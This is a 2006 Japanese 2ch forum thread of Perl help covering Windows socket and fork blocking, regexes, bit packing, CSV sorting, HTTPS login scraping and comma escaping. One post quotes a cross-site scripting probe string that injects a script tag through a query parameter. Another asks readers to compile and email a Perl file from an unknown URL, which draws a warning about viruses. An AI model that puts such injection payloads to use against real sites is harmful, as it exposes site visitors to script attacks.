サーバからの受信を表示する側の処理で、select $cosket;になっているのと、
whileで回さないといけないのに一行読み込んだら終わってしまっている。
しかし、これを修正してもどうやらActivePerlの制限のために動かないようだ。
# cygwinでは動作確認
本来Windowsにはforkはない。なのでfork関数はActivePerlがエミュレーション
しているのだけれど、その実装上の制約を踏んでしまっている気がする。
ttp://aspn.activestate.com/ASPN/docs/ActivePerl/5.8/lib/Pod/perlfork.html#bugs
print $socket $_;をコメントアウトするとブロックしない辺り怪しい。
対応策は既に回答が出てしまったので割愛。ちなみにforkを使ってやるなら、
ソケットからの読み取りをブロックしないようにすれば大丈夫かな?
その場合は、ソケットへの読み書き部に排他制御もするべきだろうね。
0315デフォルトの名無しさん
2006/08/02(水) 05:35:13client側が思ったようにうごかねぇ。
POE::Wheel::ReadLineでいい感じになるよって書こうかと思ったけど
WinのせいなのかActivePerlがいけないのかわからんけどPOSIXのマクロがねぇって怒りだしてうごかねぇな。。。
おまけに普通にPOE::Wheel::ReadWriteでInputHandleにSTDINを登録してもWinはなぜかうごかねぇし…。
どうなってんだこりゃ?
0316デフォルトの名無しさん
2006/08/02(水) 05:38:08296には悪いが練る。
0317デフォルトの名無しさん
2006/08/02(水) 10:47:14aho.cgi?a=b&page=0"><script>alert("aho")</script>の類は
kentさんのスクリプトに試したら起きなかった
やはりkentさんはすごいね
0318デフォルトの名無しさん
2006/08/02(水) 11:27:35こちらでは受信が出来なくなってしまいました。
>>314
ほんとだ、凄くつまらないミスしてますorz
Windowsだから希望したように動かないと思っていいということでしょうか?
>>316
遅くまでありがとうございます。
やはりWindowsだからだめなんでしょうか。
Perlでこういった処理というのは、あまり使われないのでしょうか?
今回はチャットの形で挑戦したのですが、特定の処理を別のマシンにまるなげするとか、うまくやればリモート操作なども出来そうなので、いろいろ弄ってみたかったです・・・・。
何が問題か未だにわかっていませんが、別の方法で、例えばTkで出来ないか、試してみます。
0319デフォルトの名無しさん
2006/08/02(水) 12:01:50> Perlでこういった処理というのは、あまり使われないのでしょうか?
いや、ありとあらゆるプロトコルのサーバもクライアントもサーバントも
プロクシも存在する。
Windowsって難儀やねえ。
0320297=315=316
2006/08/02(水) 13:39:52Perl,Python,RubyはunixクローンOS育ちで後でWindowsに移植されていて、
移植するに当たってOSの差異ってのはPOSIXで吸収したりWin用の特殊な処理を組み込んだりするのよ。
で、WinにおけるPerlの移植の完成度はWinが実装している
POSIXの出来具合に依存するとこもあるっす。
だからPerlでこういう処理が出来ないってより、ActivePerl+Winという組み合わせに
手間どってます(linux上で動くのはすぐ作れたわけで)。
http://ja.wikipedia.org/wiki/POSIX
って、WikipediaみるとWin2kとXPでまた違うのか…。
もうちょっと調べてみる ・ω・)ノ
0321デフォルトの名無しさん
2006/08/02(水) 16:06:40いい機会なので、ヤフオクで安いPCでも仕入れて、LInuxインスコしてみようかな。
お金ないけどorz
0322デフォルトの名無しさん
2006/08/02(水) 16:15:06http://news18.2ch.net/mnewsplus
っていうのを読み込んで mnewsplus の部分だけ欲しいです。
/より後を切り出すためにはどうすればいいでしょうか?
2chのルートディレクトリはほとんど、1つ下のディレクトリにあるみたいなので
ディレクトリ名だけ欲しい状況です。
おねがいします。
0323デフォルトの名無しさん
2006/08/02(水) 16:21:05//と/という構成なのでゴチャゴチャになっちゃいそう>_<
私がほしいのが○○○の部分です。
http://2ch.hoge.net/○○○
0324デフォルトの名無しさん
2006/08/02(水) 16:23:12実機のほうがいいのは確かだけど
coLinuxやVMWareのPlayerが無料で公開されてるのでリンク貼り付けときます。
http://www.itmedia.co.jp/enterprise/articles/0411/05/news072.html
http://blog.yasaka.com/archives/2005/10/vmware_playervi.html
0325デフォルトの名無しさん
2006/08/02(水) 16:49:08my $url = 'http://news18.2ch.net/mnewsplus';
1. (split!/!, $url)[-1];
2. $url =~ s!http://[^/]+/([^/]+).*!$1!;
0326デフォルトの名無しさん
2006/08/02(水) 16:57:56本家でperl dev kit なるものがダウソしたのですが、ライセンスKEY買えってでて、どうやって買うのかもわからずできませんでした。
他に方法ないでしょうか;
コンパイルと言えるかどうかは知らないけど
0328デフォルトの名無しさん
2006/08/02(水) 17:05:000329デフォルトの名無しさん
2006/08/02(水) 17:13:371. と 2. じゃ意味が違うようだけど、質問の回答ならどっちでもいいのかな
0330デフォルトの名無しさん
2006/08/02(水) 17:42:00面白そうなので、調べてます。
ちなみに、Tkでやってもロックされるのは同じでした。
use Tk;
use Encode;
use IO::Socket;
$socket = IO::Socket::INET -> new( PeerAddr=>'192.168.11.2', PeerPort=>5000, Proto=>'tcp') || die "接続失敗。 $!\n";
if ( $pid = fork() ) {
select $socket; $| = 1; select STDOUT;
while (1) {
$top = MainWindow -> new;
$top -> optionAdd( '*font'=>['MS ゴシック', 12] );
$top -> focusForce;
$entMsg = $top -> Entry( -width=>40 ) -> pack( -side=>'left', -expand=>1, -fill=>'both' );
$entMsg -> bind( '<Return>', sub {
my $msg = encode( 'sjis', $entMsg->get ) || return;
$entMsg -> delete( 0, 'end');
print "送信 > $msg\n";
print $socket "$msg\n";
} );
MainLoop();
}
} elsif ( defined $pid ) {
select $socket; $| = 1; select STDOUT;
while (<$socket>) { print }
} else {
print 'fork失敗。';
exit;
}
0331デフォルトの名無しさん
2006/08/02(水) 18:07:38($result) = $url =~m|/(.+?)$|;
0332331
2006/08/02(水) 18:12:470333デフォルトの名無しさん
2006/08/02(水) 18:24:03最初に見つけた'/'から行末までいっておしまいか。
マッチの終了位置が最短にするようにはするけど
開始位置が最短になるように移動することはしないのね。
0334デフォルトの名無しさん
2006/08/02(水) 18:25:110335326
2006/08/02(水) 18:27:290336デフォルトの名無しさん
2006/08/02(水) 18:45:46Perl 5.6系で実行する、マジお薦め。
5.8系なら print を send に書きかえる。
うろ覚えだけど、そんな感じ。
0337デフォルトの名無しさん
2006/08/02(水) 19:02:18perlcc -o yes.exe -e 'while(1){print "yes\n";}'
0338297
2006/08/02(水) 19:07:11試しにXPのActivePerlを5.8.8から5.6.1(build638)に入れ替えてみたけど
POEを使った方法やIO::Selectを使った方法を試したけどうまくいかないよ。
sendはsocketを処理する奴で
漏れは296の問題を解決しようとして標準入力がうまく扱えなくて頓挫中。
0339デフォルトの名無しさん
2006/08/02(水) 19:07:46my $ret = basename $url ;
0340297
2006/08/02(水) 19:30:32Windowsのselectがおかしいのか?
0341297
2006/08/02(水) 20:20:30AのスレッドがSTDINを読みに行く間,Bのスレッドは止まってるよ。
これじゃあスレッドを実装してる意味ねぇじゃん…。
漏れの勝手な結論: Windows + ActivePerlの挙動が変
0342デフォルトの名無しさん
2006/08/02(水) 22:46:44Win32::Socketpairというモジュールでは、syswriteとsysreadを使っているようです。
関係があるか良くわかりませんが、また時間があるときに弄ってみます。
0344デフォルトの名無しさん
2006/08/02(水) 23:24:10とりあえずお気に入りに入れました。
英語からっきしダメなんで、時間があるときに解読していきますorz
0345デフォルトの名無しさん
2006/08/02(水) 23:32:180346デフォルトの名無しさん
2006/08/02(水) 23:40:150347デフォルトの名無しさん
2006/08/03(木) 00:21:32こっちだと、Winの処理系にWin98SE 使っているからかな?
-ループ部分
select $socket; $|=1; select STDOUT; $|=1;
if ($pid = fork()) {
while (<STDIN>) {
print $socket $_; # send($socket,$_,0);
}
} elsif (defined $pid) {
while(<$socket>) {
chomp;
print $_,"\n";
}
}
これで動くことは動いた。
POEやIO::Selectは、(ハマりそうだから)確認すらしていないけど。
0348デフォルトの名無しさん
2006/08/03(木) 00:24:03あれはWindowsでも動いたと思うぞ。
0349デフォルトの名無しさん
2006/08/03(木) 01:18:02XP+ActivePerl5.8.8では動かんな。
>>348
具体的なコード プリーズ
0350デフォルトの名無しさん
2006/08/03(木) 01:33:210351デフォルトの名無しさん
2006/08/03(木) 01:39:17POEやIO::Selectをつかってnon-blocking処理してるのを
理解できてないわけだから>>348をいくら叩いても何も出てこないよ
0352326
2006/08/03(木) 04:01:05親切な方いましたら ↓の.plファイルをexeにコンパして、[email protected] に送ってもらえないでしょうか
http://gareki.ddo.jp/ki/ki/ki_6814.xxx
合言葉は326でお願いします
0353デフォルトの名無しさん
2006/08/03(木) 04:12:100354デフォルトの名無しさん
2006/08/03(木) 04:30:080355デフォルトの名無しさん
2006/08/03(木) 11:13:24ウィルス実行しないように気つけろよw
0356デフォルトの名無しさん
2006/08/03(木) 12:14:07具体的には、DOS窓中で任意の位置に文字をprintしたいのです。
クックブックの内容どおりでは、WindowsXP perl5.8環境では
うまくいかず行き詰ってます…
0357デフォルトの名無しさん
2006/08/03(木) 15:23:440358デフォルトの名無しさん
2006/08/03(木) 15:32:01デメリットの半分くらいはあるんじゃない?
0359296
2006/08/03(木) 19:09:230360デフォルトの名無しさん
2006/08/03(木) 19:11:540361デフォルトの名無しさん
2006/08/03(木) 20:08:07コマンドプロンプトは端末じゃねぇから
Win上でTerm::Capでほげほげするってのは多分無理じゃね?
あとモジュールの使い方くらい、ここで聞いたりウェブ探さなくても
モジュールのドキュメントにサンプルコード書いてあるべ?
コマンドプロンプト開いて
perldoc Term::Cap
ってしてみ。
0362デフォルトの名無しさん
2006/08/03(木) 20:09:560363347
2006/08/03(木) 20:38:19そっか、余計な事を書いてしまったようで(>>296氏にも)失礼した。
98SEの場合、(クライアント側は)5.8系だと print $socket $_; 中でロックするので、そいつだと思った。
もうちょい調べてみるけど、ActivePerlのソース(816/613双方)を見た感じ、ソケット回りはNT/9x系で
共通だから、徒労に終わる予感。
0364297
2006/08/03(木) 21:01:12サーバ側は私もすぐにスクリプトを組めました。
socketは問題なくnon-blockingで処理できてます。
で、私が悩んでいるのはclient側の方で、
「標準入力STDINをnon-blockingで扱おう」と
モジュールを使おうとするとPOSIXにマクロがないと言われたり,
select(IO::Select)を使ってもSTDINはうまく扱えなかったり
forkしてみてそれぞれsocketとSTDINを別々のプロセスで処理させてみたり
threadsを使って別々のスレッドでsocketとSTDINを処理させてみたりしてるのですが
なんでかSTDINの読み込みで他のプロセス(若しくはthread)までblockされたりする現象で悩んでます。
わたしも最初はこんなの簡単だろって思ってたかをくくってたのですが
Linux上で組んで動作確認した後にXPで動作させるとclient側だけ
いろんな方法試してもblockされちゃうんですよね。
0365296
2006/08/03(木) 23:11:57そうすると、受信は出来ますが、送信どころか入力が出来ません。
しかし、一つ気になることがありました。
それは、改行が改行になってないということです。
プロンプトでは\nと\rで行が変わって先頭にカーソルが移動しますが、telnetだと、\nのみでカーソルが真下に移動します。
telnetはめったに使わないので文字コードの扱いをよく知りませんが、改行コードで攻める方法もあるのかもしれない(?)ので、後でやってみます。
0367デフォルトの名無しさん
2006/08/04(金) 01:42:43させていただきたいのですが、
@Bit = ("31-18",17-8","6","3-0");
@Node = ( "87","1F","0","1" );
@ANS_BIT = ( 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 );
結果的に作りたいものとして32ビットのデータを作成したく、
ANS_BITの配列に@Bitの配列中にある幅内に@Nodeの
値(16進数→2進数)を入れて
@ANS_BIT = ( 0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,
0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1);
→[00000010000011100000111110000001]
のようなデータを作成したいのですが作れずに
困っております。特に@Bitの中で幅指定が連続であれば
簡単なのでしょうが所々抜けがあったりするので
どうすればうまくいくのかがわからない次第です。(空白0)
どなたかよい方法ありましたら是非ご教授願えませんでしょうか・・・
0368デフォルトの名無しさん
2006/08/04(金) 01:45:430369デフォルトの名無しさん
2006/08/04(金) 02:29:43@Bitが変だな。もうちょっと論理的に扱えないものか。
@Bit = ("31-18","17-8","6","3-0");
@Node = ( "87","1F","0","1" );
$val = 0;
for(0 .. $#Bit){
$Bit[$_] =~ /^(?:\d+-)?(\d+)$/ or next; # 右端の位置だけ得てシフトすればいい
$val |= hex($Node[$_]) << $1;
}
$bindata = pack "N", $data;
# この時点で$bindataが求めている形になってるはず。
print unpack "B*", $bindata;
ビットの配列化は適当に。
0370367
2006/08/04(金) 03:03:08ありがとうございます!
正直このために5時間以上考えてもうまくいかず
熱出して鼻水だしてやってました・・・これで養生できそうです。
本当にありがとうございます
0371デフォルトの名無しさん
2006/08/04(金) 04:00:44ttp://joe.ash.jp/pc/netprog/ftp.pl.txt
ここにあるFTP転送スクリプトを一定時間サーバーの応答がなければ
実行を止めるというタイムアウト処理をするように書き換えようと思います。
alarm関数でなくselectでタイムアウト処理をしようと思いますが
以下のようにftp_recvを書き換えてみましたがタイムアウト処理が
行われません。どうしたら良いかご教授願います。
sub ftp_recv {
my ($sock) = @_;
my ($buf, $rc, $cont, $msg);
my $rin = '';
my $rout;
my $ftp_timeout = 10.0;
$rc = 0;
vec($rin, fileno $sock, 1) = 1;
die unless select $rout=$rin, undef, undef, $ftp_timeout;
while (chomp($buf=<$sock>)) {
die unless select $rout=$rin, undef, undef, $ftp_timeout;
print "$buf\n";
$buf =~ /^(\d\d\d)([ |-])(.*)/;
$rc = $1; $cont = $2; $msg = $3;
if ($cont ne '-') { last; }
}
return($buf);
}
0372デフォルトの名無しさん
2006/08/04(金) 08:21:36質問するときはOS, perlのバージョンを書けってママンに教えてもらわなかったのか?
0373デフォルトの名無しさん
2006/08/04(金) 09:57:16selectというのは、、selectでブロックして、
selectを抜けた時にselectの返り血で
タイムアウトか入力があったかを調べるもの
なんだが。
0374371
2006/08/04(金) 11:42:33すっかり忘れてました。
OS: Linux 2.6.9-1.667 #1
Perl: v5.8.5
で試してますが将来的にはWindows+Perlでもスクリプトが組めるように
alarm関数は避けて試してます。
>>373
selectって、そういうものだったんですか…
やはり、とりあえずalarm関数でやっていくしかないみたいですねー
有り難うございました。
0375デフォルトの名無しさん
2006/08/04(金) 12:11:57?
(@_@;)
0376デフォルトの名無しさん
2006/08/04(金) 18:03:09正規表現の「?」の意味は
Active Perl5.8.8とjperl5.005で違うんですか?
入門書にあった下のスクリプトをActive Perl5.8.8で実行したら、
× 一週間でマスターするPerl
○ 一週間半でマスターするPerl
って出たんですけど、jperlだと
○ 一週間でマスターするPerl
○ 一週間半でマスターするPerl
って出力されました。
----
@book = ('一週間でマスターするPerl',
'一週間半でマスターするPerl');
foreach (@book) {
if (/一週間半?/) {
print "○ $_\n";
} else {
print "× $_\n";
}
}
-----------
「?」が直前の文字0個か1個だとしたらActivePerlの出力がおかしいと思うのですが。
尚、OSはWindows2000です。
0377デフォルトの名無しさん
2006/08/04(金) 18:36:05マルチバイトとjperlがどういったものなのか理解すればわかる話。
perl5.8.8で同じことしたい場合はソースコードをUTF-8で書くかencodingを使え。
ただしencodingは副作用も大きいからそれがなんなのか、
どこまで影響するのかを理解できないなら使わないほうが身のため。
0378347
2006/08/04(金) 19:29:47STDIN処理中の他スレッドブロックは確認できず。
NT系と9x系の違いかな。
perlにブロックしてるような記述が見当たらないので、(見落としでなければ)
VCのライブラリかWinのコンソールシステムでのブロックなのか。
STDINのnon-blockingはかなり難しそうだね。
いっそ、本物の別プロセスを使ってみるとか?
open($pipe,qq/$^X -e "print while <STDIN>" |/); とか
>>365
今回の件と改行コードは関係無いよ。
<STDIN> 中の他スレッド停止と言ってたから、
if(fork) {
sleep 3;
print "P:Hit Enter\n";
<STDIN>;
print "P:done\n";
} elsif(fork) {
$a=time,print("C1:$a\n"),sleep 1 for (0..7);
print "C1:done $a\n";
} else {
$a=time,sleep 1 for (0..7);
print "C2:done $a\n";
}
コレでHit Enterが表示された後、Enter入れるまでC1の表示が止まるんだと思う。
C2は、スレッドの停止とprintでのロックの判断用。
0379376
2006/08/04(金) 19:36:05そのスクリプトが載っていた本はjperlに準拠していて、
本に書いてある出力はjperlの方だったので、
ActivePerlがおかしいのかと思ってしまいました。
ありがとうございました。
0381296
2006/08/04(金) 23:11:17Windows上では1つのプロセスで同時には無理と考えるしかないみたいですね。
>324の使い方で挫折してまして、やはり実機でやろうとヤフオクに手を出したのですが、競り負けましたw
これ以上の追求は、いまの自分の知識ではついていけないので、ROMに戻りたいと思います。
いろいろ調べていただいて、ありがとうございました。
それでは。
0383デフォルトの名無しさん
2006/08/05(土) 11:14:12実際には、ETRADEのポートフォリオのページを取得したい。
Crypt::SSLeayを用いて取得可能?→使用方法不明
どうすればよい?
0384デフォルトの名無しさん
2006/08/05(土) 11:18:48ソース読めば使い方なんか簡単にわかるよ。
0385デフォルトの名無しさん
2006/08/05(土) 12:35:53使い方はわかった。
問題は、ログイン後にリンク先にいきやり方が
わからないだった。
なのでclose。
0386297
2006/08/05(土) 14:31:17Crypt::SSLeayを入れてればLWPでHTTPSのページアクセスできるよ。
LWP::Simple
http://search.cpan.org/~gaas/libwww-perl-5.805/lib/LWP/Simple.pm
LWP::UserAgent
http://search.cpan.org/~gaas/libwww-perl-5.805/lib/LWP/UserAgent.pm
フォームの処理は自前でやってもいいしHTML::Formを使っても便利
http://search.cpan.org/~gaas/libwww-perl-5.805/lib/HTML/Form.pm
0387デフォルトの名無しさん
2006/08/05(土) 14:42:104,3,A,AAA
7.21,B,BBB
2,9,C,CCC
10,2,D,DDD
から
10,2,D,DDD
7.21,B,BBB
4,3,A,AAA
2,9,C,CCC
に書き換えたいです。
↓だとエラーが出ます>_<どうすればいいでしょうか
open(OPEN,"<data.txt");
read(OPEN,$data,-s OPEN);
close(OPEN);
my @line=split(/[\r\n]/,$data);
for ($count=0; $count<=$#line; $count++){
($number[$count],$number2[$count],$number3[$count],$number4[$count])=split( /,/,$line[$count]);
%incount = ( '$line[$count]' => "$number[$count]" );
}
sort { $incount{$b} <=> $incount{$a} } @line
open( FH, ">data.txt" );
flock( FH, LOCK_EX );
print FH @line;
close FH2;
0388387
2006/08/05(土) 14:42:530389デフォルトの名無しさん
2006/08/05(土) 14:43:360390デフォルトの名無しさん
2006/08/05(土) 14:48:53エラーが出てしまいます>_<
0391デフォルトの名無しさん
2006/08/05(土) 14:50:03出力保存しようとしているのですが、なぜかエラーに・・・>_<
0392デフォルトの名無しさん
2006/08/05(土) 14:52:010393デフォルトの名無しさん
2006/08/05(土) 14:54:32open(IFH,"<data.txt") or die();
while(<IFH>){ $data_hash{(split /,/ , $_)[0]} = $_;}
close(IFH);
open(OFH, ">data.txt" );
for(sort {$b <=> $a} keys %data_hash){print OFH $data_hash{$_};}
close OFH;
0395デフォルトの名無しさん
2006/08/05(土) 15:00:030396デフォルトの名無しさん
2006/08/05(土) 15:03:19すみません2消し忘れました>_<
>>393さん
無駄のない書き方ありがとうございます。
もし>>387にあるような記述で書くのならば
どういうふうに書けばいいのでしょうか?
また、どこにエラーがあったのかも知りたいところです。
申し訳ないです。>_<
>>394さん
>>387のようにdata.txtのデータを行単位で読み込んで
行の一番最初にあるコンマの前の数字で大きい数字が上にくるような
データの並びに変えて出力保存したいです>_<
0397デフォルトの名無しさん
2006/08/05(土) 15:06:3810,2,D,DDD 7,21,B,BBB
4,3,A,AAA
2,9,C,CCC
と出力保存されました>_<
0398デフォルトの名無しさん
2006/08/05(土) 15:13:22%incount = ( '$line[$count]' => "$number[$count]" );
これが分からん。
$incount{$line[$count]} = $number[$count];
という意図だろう。
あと、
sort { $incount{$b} <=> $incount{$a} } @line;
これもダメ。
@line = sort { $incount{$b} <=> $incount{$a} } @line;
としたいのだろうな。
あるいは、
for(sort { $incount{$b} <=> $incount{$a} } @line){
print FH $_."\n";
}
と書きなさい。
0399デフォルトの名無しさん
2006/08/05(土) 15:16:48そら、最終行に最初から改行記号が入ってなかったんだろう。
open(IN, "<./in.txt");
@lines = <IN>;
close(IN);
@lines = sort { (split(/,/, $b, 2))[0] <=> (split(/,/, $a, 2))[0] } @lines;
open(OUT, ">./out.txt");
print OUT @lines;
close(OUT);
__END__
こういう事?違ってたらごめん
0401デフォルトの名無しさん
2006/08/05(土) 15:19:49ずばり、その通りでした!
今、走らせたらうまく行きました。
ありがとうです^^
ただ、並び替えした後は
10,2,D,DDD 7,21,B,BBB 4,3,A,AAA 2,9,C,CCC
と一行になってしまうので\nをそれぞれに入れてあげなきゃですね。
>>399
ずばり、そうでした。
ありがとうございます^^
0402デフォルトの名無しさん
2006/08/05(土) 15:20:52sort の比較の中でsplitするのって無駄じゃね?
0403デフォルトの名無しさん
2006/08/05(土) 15:22:30あなたのプログラムだと、改行記号を取り去っているからね。
>>400さんとか>>393さんのだと、取り去っていないから改行記号が最初から入っている。
最終行だけは入っていない可能性があるけど。
0404デフォルトの名無しさん
2006/08/05(土) 15:23:34それでも出来ますね!
色んなやり方があるんですね。
ありがとうです。
>>398さんの記述になおしたのですが
10,2,D,DDD 7,21,B,BBB 4,3,A,AAA 2,9,C,CCC
と一行表示されてしまいますね>_<
0405デフォルトの名無しさん
2006/08/05(土) 15:23:580406デフォルトの名無しさん
2006/08/05(土) 15:25:47open(OPEN,"<data.txt");
read(OPEN,$data,-s OPEN);
close(OPEN);
my @line=split(/[\r\n]/,$data);
for ($count=0; $count<=$#line; $count++){
($number[$count],$number2[$count],$number3[$count],$number4[$count])=split( /,/,$line[$count]);
$incount{$line[$count]} = $number[$count];
}
@line = sort { $incount{$b} <=> $incount{$a} } @line;
for ($count=0; $count<=$#line; $count++){
$OUT .=$line[$count]."\n";
}
open( FH, ">data.txt" );
flock( FH, LOCK_EX );
print FH $OUT;
close FH;
0407デフォルトの名無しさん
2006/08/05(土) 15:27:21ありがとうございました^^
0408デフォルトの名無しさん
2006/08/05(土) 15:29:56ということで次の質問どうぞ。
0409デフォルトの名無しさん
2006/08/05(土) 15:41:490410デフォルトの名無しさん
2006/08/05(土) 15:49:540411デフォルトの名無しさん
2006/08/05(土) 17:03:370412デフォルトの名無しさん
2006/08/05(土) 17:44:44その90%のうちの、さらにひねくれてる連中が2chねらのテメーらってわけだが
0413デフォルトの名無しさん
2006/08/05(土) 19:02:22さあ、プラグラム書きの仕事に戻るんだ。
0414デフォルトの名無しさん
2006/08/05(土) 20:46:460415デフォルトの名無しさん
2006/08/05(土) 21:45:40どんな話題だってかまわないよ。
別の言語のネタだって。何したってもうこれ以上酷くなりようないしな。
0416デフォルトの名無しさん
2006/08/05(土) 22:56:15<FORM name=form_login action=/ETGate/ method=post>
<INPUT type=hidden value=WPLETlgR001Control name=_ControlID>
<INPUT type=hidden value=DSWPLETlgR001Control name=_DataStoreID>
<INPUT type=hidden value=WPLETlgR001Rlgn10 name=_PageID>
<INPUT type=hidden value=loginHome name=_ActionID>
<INPUT type=hidden value=on name=getFlg>
<INPUT id=imedisable value=hoge name=user_id>
<INPUT type=password maxLength=10 size=12 value="" name=user_password ETGate trading2.etrade.ne.jp https:>
フォームはこのとおりなんだけど。
どうすればいいの?
0417デフォルトの名無しさん
2006/08/05(土) 23:05:33ちなみに、HTML::Formはインストール済み。
0418デフォルトの名無しさん
2006/08/05(土) 23:07:060419デフォルトの名無しさん
2006/08/06(日) 00:21:04やっとわかりました。
ありがとう。
0420347
2006/08/06(日) 03:39:52XP sp1 + ActivePerl 5.8.8 で確認してきたので、報告。
・<STDIN>での他スレッドブロックは、発生しなかった。
・openで開いたプロセスのSTDINは、元プロセスのSTDINを引き継いだ。
・とりあえず、296氏のコードを元に動かす事は出来た。
以下、確認環境では動いたコードのループ部分
-ループ部分
$|=1; select $socket; $|=1; select STDOUT;
if ($pid = fork()) {
while (<STDIN>) {
# print STDERR "[SEND START]\n";
# $rs = print $socket $_;
$rs = syswrite($socket,$_,length $_);
# $rs = send($socket,$_,0);
# print STDERR "[SEND FINISHED $rs]\n";
}
} elsif (defined $pid) {
$rin = '';
vec($rin,fileno($socket),1) = 1;
while(1) {
select undef,undef,undef,0.1 while select($rout=$rin,undef,undef,0.1)<1;
$buf = <$socket>;
last unless length($buf);
chomp $buf;
print "$buf\n";
}
}
受信側ループの select undef,undef,undef,0.1 while select($rout=$rin,undef,undef,0.1)<1;
がブロック回避用の記述。
これで駄目なら、ちょっと自分には難しいかも。
0421デフォルトの名無しさん
2006/08/06(日) 03:51:09「ー」をマッチするとエラーが出るのを、うまくマッチさせるにはどうしたらいいかな?
0422デフォルトの名無しさん
2006/08/06(日) 04:13:23もしくは、文字列の先頭から見ていって、どれがマルチバイト文字でどれがシングルバイト文字なのか調べていく
とか?
0423デフォルトの名無しさん
2006/08/06(日) 04:29:21サンクス。やってみる
0424デフォルトの名無しさん
2006/08/06(日) 06:05:53いい加減にしろよ
0426デフォルトの名無しさん
2006/08/06(日) 13:51:52僕はあまりこだわらんほうなので気にしないけれど、>>421 の質問そのものはあまり上手じゃないね。
encoding の知識が少しあれば SJIS を使った場合の「おやくそく」だと読み取れるし、エラーも Unmatched なんちゃらだとすぐに思い当たる。
でもそれを回答者に期待しちゃダメよ。意図と現象の他に環境とエラーメッセージを書け、なんてつまらんことを繰返し言うのにはちゃんと理由があるのだから。
0427422
2006/08/06(日) 13:56:510428デフォルトの名無しさん
2006/08/06(日) 15:05:39それでも使う質問者がどうなろうと知ったこっちゃねぇ。
0430デフォルトの名無しさん
2006/08/06(日) 18:15:20何やりたいのかはわかるし。まあ質問の内容は糞過ぎだはな。
0431デフォルトの名無しさん
2006/08/06(日) 18:19:530432デフォルトの名無しさん
2006/08/06(日) 18:40:240433デフォルトの名無しさん
2006/08/06(日) 18:56:55言いたい事は分かるが何故このタイミングで言うかな。
0434デフォルトの名無しさん
2006/08/06(日) 22:49:29そういうことにしてしまいたいのですね? ;)
0435デフォルトの名無しさん
2006/08/07(月) 00:40:340436デフォルトの名無しさん
2006/08/07(月) 00:49:350437デフォルトの名無しさん
2006/08/07(月) 01:54:51> カルシウム不足
迷信イクナイ
0438デフォルトの名無しさん
2006/08/07(月) 02:25:14迷信じゃない。
0439デフォルトの名無しさん
2006/08/07(月) 04:08:51確かにカルシウムは細胞の興奮に関係していて神経細胞も例外ではないが、
ホメオスターシスによって血中のカルシウム濃度は一定に保たれている。
もし、カルシウムの摂取が不足していたら、最初にまず破骨細胞が活発に活動して骨を溶かす。
0440デフォルトの名無しさん
2006/08/07(月) 04:15:450441デフォルトの名無しさん
2006/08/07(月) 04:48:280442デフォルトの名無しさん
2006/08/07(月) 09:58:51現在、txtファイルから読み込むデータを「,(半角カンマ)」区切りにして
($TITLE,$DATE,$EMAIL,$CONTENTS)=split( /,/,$IN);
という形で取り出して
題名:$TITLE<br>
投稿日:$DATE<br>
メール:$EMAIL<br>
内容:<br>
$CONTENTS<br>
としてHTMLで出力させています。
読み込む際に半角カンマ区切りをしているので、半角カンマの入力があった際に
データ区切りの「半角カンマ」の邪魔にならないよう
$in{'CONTENTS'} =~ s/,/、/g;
という形で 半角カンマ→「、(読点)」に置き換えています。
ただ、これをすることで内容の部分に半角カンマが使われているAAを表示させたとき
半角カンマがすべて「、」になっているためAAが崩れてしまいます。
半角スペースは に置き換えることで対処したのですが
半角カンマの対処方法のアドバイスございましたら教えてください。
半角カンマで &nsbp;のような別の書き方は無いですよね??
0443デフォルトの名無しさん
2006/08/07(月) 10:03:060444デフォルトの名無しさん
2006/08/07(月) 10:03:15splitしたあと、表示する前に元に戻せばいいと思うよ。
0445デフォルトの名無しさん
2006/08/07(月) 10:08:09ダブルクォートで囲まれますね。
でも、そのデータ自体を出力する際に
open( OUT, ">hoge.txt" );
flock( OUT, LOCK_EX );
print OUT $TITLE.",".$DATE.",".$EMAIL","..$CONTENTS;
close OUT;
となるのでダブルクォート入れられないですよね・・・
>>444
すみません。ただ内容の中に入る文字列が日記みたいなもので
「読点」がデフォでたくさん入ってるので、それらが全て
「,(半角カンマ)」になってしまいます>_<
0446デフォルトの名無しさん
2006/08/07(月) 10:11:46hoge.txtの中身が
題名,8月7日,[email protected],"aaaa,aaaaaaaa,aaaaaaaaa,aaaa",test
だったとして
($TITLE,$DATE,$EMAIL,$CONTENTS,$ETC)=split( /,/,$IN);
をしたら
$CONTENTSの中には aaaa,aaaaaaaa,aaaaaaaaa,aaaa が入りますか?
0447デフォルトの名無しさん
2006/08/07(月) 10:13:55あんたの技量では自力では処理できない。
moduleを使え。
0448デフォルトの名無しさん
2006/08/07(月) 10:16:17ある文字を別の文字に置き換えるだけじゃもとからその別の文字が元から含まれてたら
それがもともとその文字だったのか置き換えの結果によるものかわからないのは当たり前。
「,」→「\,」
「\」→「\\」
にするとか頭使えよ。
0449デフォルトの名無しさん
2006/08/07(月) 10:17:41Text::CSV_XSだな。
0450デフォルトの名無しさん
2006/08/07(月) 10:21:01また、テキスト中の'\0'はあらかじめ削除しろ。
'\0'を使ったAAは存在しないので、これで問題ない。
'\0' が 文字コード0の制御文字だってことがわからんレベルなら諦めた方がいいけど。
0451デフォルトの名無しさん
2006/08/07(月) 10:23:43カンマ区切りというのが一般的だと思っていたのですが
皆様工夫をこらして、
>>450さんみたいに
”\0”とかで区切っているのですね。
ありがとうございました。
0452デフォルトの名無しさん
2006/08/07(月) 10:24:10Perlの文字列リテラルだと'\0'は「\」と「0」の2文字なのでその書き方は不親切ではないかと思う。
"\0"と書くべきだな。
0453デフォルトの名無しさん
2006/08/07(月) 10:25:300454デフォルトの名無しさん
2006/08/07(月) 10:28:05"\0"じゃダメなのですか?
0455デフォルトの名無しさん
2006/08/07(月) 10:47:20% cat null.pl
print "double quote: ", "\0", "\n";
print "single quote: ", '\0', "\n";
% perl null.pl | hex
0x00000000: 64 6f 75 62 6c 65 20 71 - 75 6f 74 65 3a 20 00 0a double quote: @J
0x00000010: 73 69 6e 67 6c 65 20 71 - 75 6f 74 65 3a 20 5c 30 single quote: \0
0x00000020: 0a
0456デフォルトの名無しさん
2006/08/07(月) 10:53:05わざわざ詳しい説明ありがとうございました。
保存する際に
open( OUT, ">hoge.txt" );
flock( OUT, LOCK_EX );
print OUT $TITLE."\,".$DATE."\,".$EMAIL"\,"..$CONTENTS;
close OUT;
でしておいて、読み込む際に
($TITLE,$DATE,$EMAIL,$CONTENTS,$ETC)=split( /\,/,$IN);
